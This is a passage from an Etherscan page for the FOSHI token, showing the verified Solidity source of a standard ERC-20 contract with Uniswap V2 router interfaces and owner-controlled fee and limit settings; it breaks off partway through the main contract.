ETH Price: $2,910.83 (-10.18%)
Gas: 15 Gwei

Token

Fable Of Shibarium (FOSHI)
 

Overview

Max Total Supply

100,000,000 FOSHI

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,234,647.339280349362489662 FOSHI

Value
$0.00
0x8b90cdf3a1a0da48b9a3a85fcae9ac5635924497
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FableOfShibarium

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-06
*/

/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
} 

// Safe Math Helpers 
// --------------------------------------------------------------
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: cannot send to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// Uniswap Router 
// --------------------------------------------------------------
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function allPairsLength() external view returns (uint256);
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
    function allPairs(uint256) external view returns (address pair);
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);
    function mint(address to) external returns (uint256 liquidity);
    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);
    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);
    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);
    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract FableOfShibarium is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Fable Of Shibarium";
    string private _symbol = "FOSHI";
    uint8 private _decimals = 18;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply = 100_000_000 * 1e18;
    uint256 private minimumTokensBeforeSwap = _totalSupply * 25 / 100000; 

    address payable public liquidityWallet = payable(0x7E51931632096718BbB219a644103d4899942E0b);
    address payable public operationsWallet =  payable(0x7E51931632096718BbB219a644103d4899942E0b);
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    uint256 public liquidityFeeBuy = 0;
    uint256 public operationsFeeBuy = 0;
    uint256 public totalFeesBuy;
    uint256 public maxTotalFeeBuy = 2;

    uint256 public liquidityFeeSell = 0;
    uint256 public operationsFeeSell = 0;
    uint256 public totalFeesSell;
    uint256 public maxTotalFeeSell = 2;

    uint256 public _liquiditySharePercentage = 0;
    uint256 public _operationsSharePercentage = 100;
    uint256 public _totalDistributionShares;

    uint256 public _maxTxAmount = type(uint256).max;
    uint256 public _walletMax = type(uint256).max;
    bool public checkWalletLimit = false;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) isTxLimitExempt;

    // Router Information    
    mapping (address => bool) public isMarketPair;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair; 
    
    // toggle swap back (fees)
    bool inSwapAndLiquify;
    uint256 public tokensForLiquidity;
    uint256 public tokensForOperations;    

    // Launch Settings
    bool public tradingOpen = false;

    // events    
    event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
    event OperationsWalletUpdated(address indexed newOperationsWallet, address indexed oldOperationsWallet); 
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); 
    event SwapTokensForETH(uint256 amountIn, address[] path);

    // toogle to stop swap if already underway
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        // load total fees 
        totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
        totalFeesSell = operationsFeeSell + liquidityFeeSell; 

        // load total distribution 
        _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage;
        
        // create router ------------------------------
        IUniswapV2Router02 _uniswapV2Router;
        if (block.chainid == 1) {
            _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        } else if (block.chainid == 5) {
            _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        } else revert();
        isTxLimitExempt[address(_uniswapV2Router)] = true;
        isWalletLimitExempt[address(_uniswapV2Router)] = true;
        isExcludedFromFee[address(_uniswapV2Router)] = true;

         // Create a uniswap pair for this new token         
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router; 
        isMarketPair[address(uniswapPair)] = true;

        // set allowances        
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        // exclude from paying fees or having max transaction amount
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[address(0xdead)] = true; 
        isExcludedFromFee[liquidityWallet] = true; 
        isExcludedFromFee[operationsWallet] = true;

        // exclude contracts from max wallet size
        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[liquidityWallet] = true; 
        isWalletLimitExempt[operationsWallet] = true; 

        // exclude contracts from max tx size
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(uniswapPair)] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[liquidityWallet] = true;
        isTxLimitExempt[operationsWallet] = true;

        _balances[_msgSender()] = _totalSupply;   
        emit Transfer(address(0), _msgSender(), _totalSupply);  
    }

    receive() external payable {

  	}
  	
  	// @dev Public read functions start -------------------------------------
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // custom allowance methods
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    
    // get minimum tokens before swap
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    // approve spending methods
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }
    
    function getBlock()public view returns (uint256) {
        return block.number;
    }

  	// @dev Owner functions start -------------------------------------
    
    // toogle market pair status
    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    // set excluded xx limit 
    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    // update max tx amount
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }

    // set excluded tax 
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }
    
    // update fees
    function updateFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
        _updateFeesBuy(_operationsFee, _liquidityFee);
        require(totalFeesBuy <= maxTotalFeeBuy, "Must keep fees at maxTotalFeeBuy or less");
    }

    function updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
        _updateFeesSell(_operationsFee, _liquidityFee);
        require(totalFeesSell <= maxTotalFeeSell, "Must keep fees at maxTotalFeeSell or less");
    }

    function _updateFeesBuy(uint256 _operationsFee, uint256 _liquidityFee) private {
        operationsFeeBuy = _operationsFee;
        liquidityFeeBuy = _liquidityFee;
        totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
    }

    function _updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee) private {
        operationsFeeSell = _operationsFee;
        liquidityFeeSell = _liquidityFee;
        totalFeesSell = operationsFeeSell + liquidityFeeSell;
    }
    
    // set distribution settings
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newOperationsShare) external onlyOwner() {
        _liquiditySharePercentage = newLiquidityShare;
        _operationsSharePercentage = newOperationsShare; 
        _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage;
        require(_totalDistributionShares == 100, "Distribution needs to total to 100");
    }

    // remove wallet limit
    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }
    
    // set excluded wallet limit 
    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }
    
    // update wallet limit
    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }
    
    // change the minimum amount of tokens to sell from fees
    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    // sets the wallet that receives LP tokens to lock
